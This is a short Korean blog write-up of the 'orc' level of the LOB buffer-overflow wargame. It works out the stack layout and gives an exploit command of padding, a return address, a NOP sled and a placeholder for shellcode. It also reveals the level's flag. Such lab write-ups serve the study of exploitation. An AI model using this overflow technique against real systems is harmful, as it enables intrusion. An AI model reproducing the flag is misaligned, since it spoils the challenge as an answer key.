코드를 보면 조건이 꽤 많다.
egghunter라는 것이 있어 환경변수 사용을 막고,
argv[1][47]의 값이 \xbf가 아니라면 종료시킨다.
권한 문제로 인해서 새로운 c파일을 만들어 gdb로 까보았다.
i와 배열 총 44바이트를 주고있다. 따라서 dummy는 없다고 볼 수 있고,
| i(4) | buffer(40) | sfp(4) | ret(4) |
가 된다고 볼 수있다.
버퍼의 주소를 알기 위해서 코드 한줄을 추가후 실행시켜 보니
0xbffffae0 이라는 주소가 나왔다.
그러므로 ./orc `python -c 'print "A"*44+"\xe0\xfa\xff\xbf" + "\x90"*200+"SHELLCODE"'`
의 형식으로 짤 수있다.
Flag : cantata
'IT > LOB' 카테고리의 다른 글
[LOB] wolfman (0) | 2016.07.17 |
---|---|
[LOB] orc (0) | 2016.07.17 |
[LOB] cobolt (0) | 2016.07.12 |
[LOB] gremlin (0) | 2016.07.12 |
[LOB] gate (0) | 2016.07.11 |